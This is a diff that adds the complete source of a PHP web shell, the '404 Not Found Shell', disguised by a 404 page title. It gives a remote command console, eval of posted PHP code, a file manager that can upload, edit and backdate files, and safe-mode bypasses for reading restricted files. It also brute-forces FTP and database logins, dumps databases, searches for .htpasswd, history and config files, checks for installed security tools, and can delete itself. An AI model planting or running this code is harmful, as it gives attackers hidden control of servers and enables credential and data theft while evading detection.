        + "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -la", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function printHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = "UTF-8"; + global $color; + ?> +'><?=$_SERVER['HTTP_HOST']?>- 404 Not Found Shell V.<?=VERSION?> + + +
        +
        +'> +'> +'> +'> +'> +'> +
        +".$path[$i]."/"; + } + $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); + $opt_charsets = ''; + foreach($charsets as $item) + $opt_charsets .= ''; + $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); + if(!empty($GLOBALS['auth_pass'])) + $m['Logout'] = 'Logout'; + $m['Self remove'] = 'SelfRemove'; + $menu = ''; + foreach($m as $k => $v) + $menu .= '[ '.$k.' ]'; + $drives = ""; + if ($GLOBALS['os'] == 'win') { + foreach( range('a','z') as $drive ) + if (is_dir($drive.':\\')) + $drives .= '[ '.$drive.' ] '; + } + echo ''. + ''. + '
        Uname
        User
        Php
        Hdd
        Cwd'.($GLOBALS['os'] == 'win'?'
        Drives':'').'
        :'.substr(@php_uname(), 0, 120).' [Google] [milw0rm]
        :'.$uid.' ( '.$user.' ) Group: '.$gid.' ( '.$group.' )
        :'.@phpversion().' Safe mode: '.($GLOBALS['safe_mode']?'ON':'OFF').' [ phpinfo ] Datetime: '.date('Y-m-d H:i:s').'
        :'.viewSize($totalSpace).' Free: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)
        :'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' [ home ]
        :'.$drives.'

        Server IP:
        '.gethostbyname($_SERVER["HTTP_HOST"]).'
        Client IP:
        '.$_SERVER['REMOTE_ADDR'].'
        '. + ''.$menu.'
        '; +} + +function printFooter() { + $is_writable = is_writable($GLOBALS['cwd'])?"[ Writeable ]":"[ Not writable ]"; +?> +
        + + + + + + + + + + + + + + +
        Change dir:
        Read file:
        Make dir:
        Make file:
        Execute:
        + + '> + + '> + Upload file:
        +
        + += 1073741824) + return sprintf('%1.2f', $s / 1073741824 ). ' GB'; + elseif($s >= 1048576) + return sprintf('%1.2f', $s / 1048576 ) . ' MB'; + elseif($s >= 1024) + return sprintf('%1.2f', $s / 1024 ) . ' KB'; + else + return $s . ' B'; +} + +function perms($p) { + if (($p & 0xC000) == 0xC000)$i = 's'; + elseif (($p & 0xA000) == 0xA000)$i = 'l'; + elseif (($p & 0x8000) == 0x8000)$i = '-'; + elseif (($p & 0x6000) == 0x6000)$i = 'b'; + elseif (($p & 0x4000) == 0x4000)$i = 'd'; + elseif (($p & 0x2000) == 0x2000)$i = 'c'; + elseif (($p & 0x1000) == 0x1000)$i = 'p'; + else $i = 'u'; + $i .= (($p & 0x0100) ? 'r' : '-'); + $i .= (($p & 0x0080) ? 'w' : '-'); + $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); + $i .= (($p & 0x0020) ? 'r' : '-'); + $i .= (($p & 0x0010) ? 'w' : '-'); + $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); + $i .= (($p & 0x0004) ? 'r' : '-'); + $i .= (($p & 0x0002) ? 'w' : '-'); + $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); + return $i; +} +function viewPermsColor($f) { + if (!@is_readable($f)) + return ''.perms(@fileperms($f)).''; + elseif (!@is_writable($f)) + return ''.perms(@fileperms($f)).''; + else + return ''.perms(@fileperms($f)).''; +} +if(!function_exists("scandir")) { + function scandir($dir) { + $dh = opendir($dir); + while (false !== ($filename = readdir($dh))) { + $files[] = $filename; + } + return $files; + } +} +function which($p) { + $path = ex('which '.$p); + if(!empty($path)) + return $path; + return false; +} +function actionSecInfo() { + printHeader(); + echo '

        Server security information

        '; + function showSecParam($n, $v) { + $v = trim($v); + if($v) { + echo ''.$n.': '; + if(strpos($v, "\n") === false) + echo $v.'
        '; + else + echo '
        '.$v.'
        '; + } + } + + showSecParam('Server software', @getenv('SERVER_SOFTWARE')); + showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none'); + showSecParam('Open base dir', @ini_get('open_basedir')); + showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); + showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); + showSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); + $temp=array(); + if(function_exists('mysql_get_client_info')) + $temp[] = "MySql (".mysql_get_client_info().")"; + if(function_exists('mssql_connect')) + $temp[] = "MSSQL"; + if(function_exists('pg_connect')) + $temp[] = "PostgreSQL"; + if(function_exists('oci_connect')) + $temp[] = "Oracle"; + showSecParam('Supported databases', implode(', ', $temp)); + echo '
        '; + + if( $GLOBALS['os'] == 'nix' ) { + $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); + $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); + $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); + showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes [view]":'no'); + showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes [view]":'no'); + showSecParam('OS version', @file_get_contents('/proc/version')); + showSecParam('Distr name', @file_get_contents('/etc/issue.net')); + if(!$GLOBALS['safe_mode']) { + echo '
        '; + $temp=array(); + foreach ($userful as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Userful', implode(', ',$temp)); + $temp=array(); + foreach ($danger as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Danger', implode(', ',$temp)); + $temp=array(); + foreach ($downloaders as $item) + if(which($item)){$temp[]=$item;} + showSecParam('Downloaders', implode(', ',$temp)); + echo '
        '; + showSecParam('Hosts', @file_get_contents('/etc/hosts')); + showSecParam('HDD space', ex('df -h')); + showSecParam('Mount options', @file_get_contents('/etc/fstab')); + } + } else { + showSecParam('OS Version',ex('ver')); + showSecParam('Account Settings',ex('net accounts')); + showSecParam('User Accounts',ex('net user')); + } + echo '
        '; + printFooter(); +} + +function actionPhp() { + if( isset($_POST['ajax']) ) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + eval($_POST['p1']); + $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n"; + echo strlen($temp), "\n", $temp; + exit; + } + printHeader(); + if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) { + echo '

        PHP info

        '; + ob_start(); + phpinfo(); + $tmp = ob_get_clean(); + $tmp = preg_replace('!body {.*}!msiU','',$tmp); + $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp); + $tmp = preg_replace('!h1!msiU','h2',$tmp); + $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp); + $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp); + echo $tmp; + echo '

        '; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo '

        Execution PHP-code

        '; + echo ' send using AJAX
        '; 
        +    if(!empty($_POST['p1'])) { 
        +        ob_start(); 
        +        eval($_POST['p1']); 
        +        echo htmlspecialchars(ob_get_clean()); 
        +    } 
        +    echo '
        '; + printFooter(); +} + +function actionFilesMan() { + printHeader(); + echo '

        File manager

        '; + if(isset($_POST['p1'])) { + switch($_POST['p1']) { + case 'uploadFile': + if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) + echo "Can't upload file!"; + break; + break; + case 'mkdir': + if(!@mkdir($_POST['p2'])) + echo "Can't create new dir"; + break; + case 'delete': + function deleteDir($path) { + $path = (substr($path,-1)=='/') ? $path:$path.'/'; + $dh = opendir($path); + while ( ($item = readdir($dh) ) !== false) { + $item = $path.$item; + if ( (basename($item) == "..") || (basename($item) == ".") ) + continue; + $type = filetype($item); + if ($type == "dir") + deleteDir($item); + else + @unlink($item); + } + closedir($dh); + rmdir($path); + } + if(is_array(@$_POST['f'])) + foreach($_POST['f'] as $f) { + $f = urldecode($f); + if(is_dir($f)) + deleteDir($f); + else + @unlink($f); + } + break; + case 'paste': + if($_SESSION['act'] == 'copy') { + function copy_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']); + } elseif($_SESSION['act'] == 'move') { + function move_paste($c,$s,$d){ + if(is_dir($c.$s)){ + mkdir($d.$s); + $h = opendir($c.$s); + while (($f = readdir($h)) !== false) + if (($f != ".") and ($f != "..")) { + copy_paste($c.$s.'/',$f, $d.$s.'/'); + } + } elseif(is_file($c.$s)) { + @copy($c.$s, $d.$s); + } + } + foreach($_SESSION['f'] as $f) + @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f); + } + unset($_SESSION['f']); + break; + default: + if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) { + $_SESSION['act'] = @$_POST['p1']; + $_SESSION['f'] = @$_POST['f']; + foreach($_SESSION['f'] as $k => $f) + $_SESSION['f'][$k] = urldecode($f); + $_SESSION['cwd'] = @$_POST['c']; + } + break; + } + echo ''; + } + $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); + if($dirContent === false) { echo 'Can\'t open this folder!'; return; } + global $sort; + $sort = array('name', 1); + if(!empty($_POST['p1'])) { + if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) + $sort = array($match[1], (int)$match[2]); + } +?> + + + +"; + $dirs = $files = $links = array(); + $n = count($dirContent); + for($i=0;$i<$n;$i++) { + $ow = @posix_getpwuid(@fileowner($dirContent[$i])); + $gr = @posix_getgrgid(@filegroup($dirContent[$i])); + $tmp = array('name' => $dirContent[$i], + 'path' => $GLOBALS['cwd'].$dirContent[$i], + 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])), + 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]), + 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]), + 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]), + 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i]) + ); + if(@is_file($GLOBALS['cwd'].$dirContent[$i])) + $files[] = array_merge($tmp, array('type' => 'file')); + elseif(@is_link($GLOBALS['cwd'].$dirContent[$i])) + $links[] = array_merge($tmp, array('type' => 'link')); + elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != ".")) + $dirs[] = array_merge($tmp, array('type' => 'dir')); + } + $GLOBALS['sort'] = $sort; + function cmp($a, $b) { + if($GLOBALS['sort'][0] != 'size') + return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1); + else + return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); + } + usort($files, "cmp"); + usort($dirs, "cmp"); + usort($links, "cmp"); + $files = array_merge($dirs, $links, $files); + $l = 0; + foreach($files as $f) { + echo ''; + $l = $l?0:1; + } + ?> + +
        NameSizeModifyOwner/GroupPermissionsActions
        '.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');">[ '.htmlspecialchars($f['name']).' ]').''.(($f['type']=='file')?viewSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''.$f['perms'] + .'R T'.(($f['type']=='file')?' E D':'').'
        + + '> + '> +  
        + String conversions
        '; + $stringTools = array( + 'Base64 encode' => 'base64_encode', + 'Base64 decode' => 'base64_decode', + 'Url encode' => 'urlencode', + 'Url decode' => 'urldecode', + 'Full urlencode' => 'full_urlencode', + 'md5 hash' => 'md5', + 'sha1 hash' => 'sha1', + 'crypt' => 'crypt', + 'CRC32' => 'crc32', + 'ASCII to HEX' => 'ascii2hex', + 'HEX to ASCII' => 'hex2ascii', + 'HEX to DEC' => 'hexdec', + 'HEX to BIN' => 'hex2bin', + 'DEC to HEX' => 'dechex', + 'DEC to BIN' => 'decbin', + 'BIN to HEX' => 'bin2hex', + 'BIN to DEC' => 'bindec', + 'String to lower case' => 'strtolower', + 'String to upper case' => 'strtoupper', + 'Htmlspecialchars' => 'htmlspecialchars', + 'String length' => 'strlen', + ); + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false; + echo "
        send using AJAX
        "; 
        +    if(!empty($_POST['p1'])) { 
        +        if(function_exists($_POST['p1'])) 
        +        echo htmlspecialchars($_POST['p1']($_POST['p2'])); 
        +    } 
        +    echo"
        "; + ?> +

        Search for hash:

        +
        +
        +
        +
        +
        +
        +
        +
        +
        + File tools
        '; + if( !file_exists(@$_POST['p1']) ) { + echo 'File not exists'; + printFooter(); + return; + } + $uid = @posix_getpwuid(@fileowner($_POST['p1'])); + $gid = @posix_getgrgid(@fileowner($_POST['p1'])); + echo 'Name: '.htmlspecialchars($_POST['p1']).' Size: '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' Permission: '.viewPermsColor($_POST['p1']).' Owner/Group: '.$uid['name'].'/'.$gid['name'].'
        '; + echo 'Create time: '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' Access time: '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' Modify time: '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'

        '; + if( empty($_POST['p2']) ) + $_POST['p2'] = 'view'; + if( is_file($_POST['p1']) ) + $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch'); + else + $m = array('Chmod', 'Rename', 'Touch'); + foreach($m as $v) + echo ''.((strtolower($v)==@$_POST['p2'])?'[ '.$v.' ]':$v).' '; + echo '

        '; + switch($_POST['p2']) { + case 'view': + echo '
        '; 
        +            $fp = @fopen($_POST['p1'], 'r'); 
        +            if($fp) { 
        +                while( !@feof($fp) ) 
        +                    echo htmlspecialchars(@fread($fp, 1024)); 
        +                @fclose($fp); 
        +            } 
        +            echo '
        '; + break; + case 'highlight': + if( is_readable($_POST['p1']) ) { + echo '
        '; + $code = highlight_file($_POST['p1'],true); + echo str_replace(array(''), array(''),$code).'
        '; + } + break; + case 'chmod': + if( !empty($_POST['p3']) ) { + $perms = 0; + for($i=strlen($_POST['p3'])-1;$i>=0;--$i) + $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1)); + if(!@chmod($_POST['p1'], $perms)) + echo 'Can\'t set permissions!
        '; + else + die(''); + } + echo '
        '; + break; + case 'edit': + if( !is_writable($_POST['p1'])) { + echo 'File isn\'t writeable'; + break; + } + if( !empty($_POST['p3']) ) { + @file_put_contents($_POST['p1'],$_POST['p3']); + echo 'Saved!
        '; + } + echo '
        '; + break; + case 'hexdump': + $c = @file_get_contents($_POST['p1']); + $n = 0; + $h = array('00000000
        ','',''); + $len = strlen($c); + for ($i=0; $i<$len; ++$i) { + $h[1] .= sprintf('%02X',ord($c[$i])).' '; + switch ( ord($c[$i]) ) { + case 0: $h[2] .= ' '; break; + case 9: $h[2] .= ' '; break; + case 10: $h[2] .= ' '; break; + case 13: $h[2] .= ' '; break; + default: $h[2] .= $c[$i]; break; + } + $n++; + if ($n == 32) { + $n = 0; + if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
        ';} + $h[1] .= '
        '; + $h[2] .= "\n"; + } + } + echo '
        '.$h[0].'
        '.$h[1].'
        '.htmlspecialchars($h[2]).'
        '; + break; + case 'rename': + if( !empty($_POST['p3']) ) { + if(!@rename($_POST['p1'], $_POST['p3'])) + echo 'Can\'t rename!
        '; + else + die(''); + } + echo '
        '; + break; + case 'touch': + if( !empty($_POST['p3']) ) { + $time = strtotime($_POST['p3']); + if($time) { + if(@touch($_POST['p1'],$time,$time)) + die(''); + else { + echo 'Fail!'; + } + } else echo 'Bad time format!'; + } + echo '
        '; + break; + case 'mkfile': + + break; + } + echo '
        '; + printFooter(); +} + +function actionSafeMode() { + $temp=''; + ob_start(); + switch($_POST['p1']) { + case 1: + $temp=@tempnam($test, 'cx'); + if(@copy("compress.zlib://".$_POST['p2'], $temp)){ + echo @file_get_contents($temp); + unlink($temp); + } else + echo 'Sorry... Can\'t open file'; + break; + case 2: + $files = glob($_POST['p2'].'*'); + if( is_array($files) ) + foreach ($files as $filename) + echo $filename."\n"; + break; + case 3: + $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); + curl_exec($ch); + break; + case 4: + ini_restore("safe_mode"); + ini_restore("open_basedir"); + include($_POST['p2']); + break; + case 5: + for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { + $uid = @posix_getpwuid($_POST['p2']); + if ($uid) + echo join(':',$uid)."\n"; + } + break; + case 6: + if(!function_exists('imap_open'))break; + $stream = imap_open($_POST['p2'], "", ""); + if ($stream == FALSE) + break; + echo imap_body($stream, 1); + imap_close($stream); + break; + } + $temp = ob_get_clean(); + printHeader(); + echo '

        Safe mode bypass

        '; + echo 'Copy (read file)

        Glob (list dir)

        Curl (read file)

        Ini_restore (read file)

        Posix_getpwuid ("Read" /etc/passwd)
        From
        To


        Imap_open (read file)
        '; + if($temp) + echo '
        '.$temp.'
        '; + echo '
        '; + printFooter(); +} + +function actionConsole() { + if(isset($_POST['ajax'])) { + $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true; + ob_start(); + echo "document.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "document.mf.c.value='".$GLOBALS['cwd']."';"; + } + } + echo "document.cf.output.value+='".$temp."';"; + echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + printHeader(); +?> + +Console
        send using AJAX
        '; + echo '
        '; + printFooter(); +} + +function actionLogout() { + unset($_SESSION[md5($_SERVER['HTTP_HOST'])]); + echo 'bye!'; +} + +function actionSelfRemove() { + printHeader(); + if($_POST['p1'] == 'yes') { + if(@unlink(SELF_PATH)) + die('Shell has been removed'); + else + echo 'unlink error!'; + } + echo '

        Suicide

        Really want to remove the shell?
        Yes
        '; + printFooter(); +} + +function actionBruteforce() { + printHeader(); + if( isset($_POST['proto']) ) { + echo '

        Results

        Type: '.htmlspecialchars($_POST['proto']).' Server: '.htmlspecialchars($_POST['server']).'
        '; + if( $_POST['proto'] == 'ftp' ) { + function bruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function bruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function bruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''"; + $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($line[0]).'
        '; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo ''.htmlspecialchars($line[0]).':'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo ''.htmlspecialchars($_POST['login']).':'.htmlspecialchars($line).'
        '; + } + } + } + echo "Attempts: $attempts Success: $success

        "; + } + echo '

        FTP bruteforce

        ' + .'' + .'' + .'' + .'' + .'' + .'' + .'
        Type
        ' + .'' + .'' + .'' + .'Server:port
        Brute type
        ' + .'' + .'' + .'
        Login
        Dictionary
        ' + .'
        '; + echo '

        '; + printFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_list_dbs($this->link); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error($this->link); + break; + case 'pgsql': + return @pg_last_error($this->link); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'mysql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function dump($table) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + echo $create[1].";\n\n"; + $this->query('SELECT * FROM `'.$table.'`'); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + } + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + ob_start("ob_gzhandler", 4096); + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } + printHeader(); + ?> +

        Sql browser

        +
        + + + + + + + + + + + + + + '> + '> + + + + + + + +
        TypeHostLoginPasswordDatabase
        + '>'>'> + "; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "'; + } + else echo $tmp; + }else + echo $tmp; + ?>
        + + link){ + echo "
        "; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo ""; + } + echo "
        Tables:

        "; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo " ".$value." (".$n['n'].")
        "; + } + echo "
        "; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].''); + $num = $db->fetch(); + $num = $num['n']; + echo "".$_POST['p2']." ($num) "; + for($i=0;$i<($num/30);$i++) + if($i != (int)$_POST['p3']) + echo "",($i+1)," "; + else + echo ($i+1)," "; + if($_POST['type']=='pgsql') + $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "

        "; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) { + $db->query(@$_POST['p3']); + if($db->res !== false) { + $title = false; + echo ''; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo ''; + foreach($item as $key => $value) + echo ''; + reset($item); + $title=true; + echo ''; + $line = 2; + } + echo ''; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo ''; + else + echo ''; + } + echo ''; + } + echo '
        '.$key.'
        null'.nl2br(htmlspecialchars($value)).'
        '; + } else { + echo '
        Error: '.htmlspecialchars($db->error()).'
        '; + } + } + echo "

        "; + echo "

        Load file
        "; + if(@$_POST['p1'] == 'loadfile') { + $db->query("SELECT LOAD_FILE('".addslashes($_POST['p2'])."') as file"); + $file = $db->fetch(); + echo '
        '.htmlspecialchars($file['file']).'
        '; + } + } + echo '
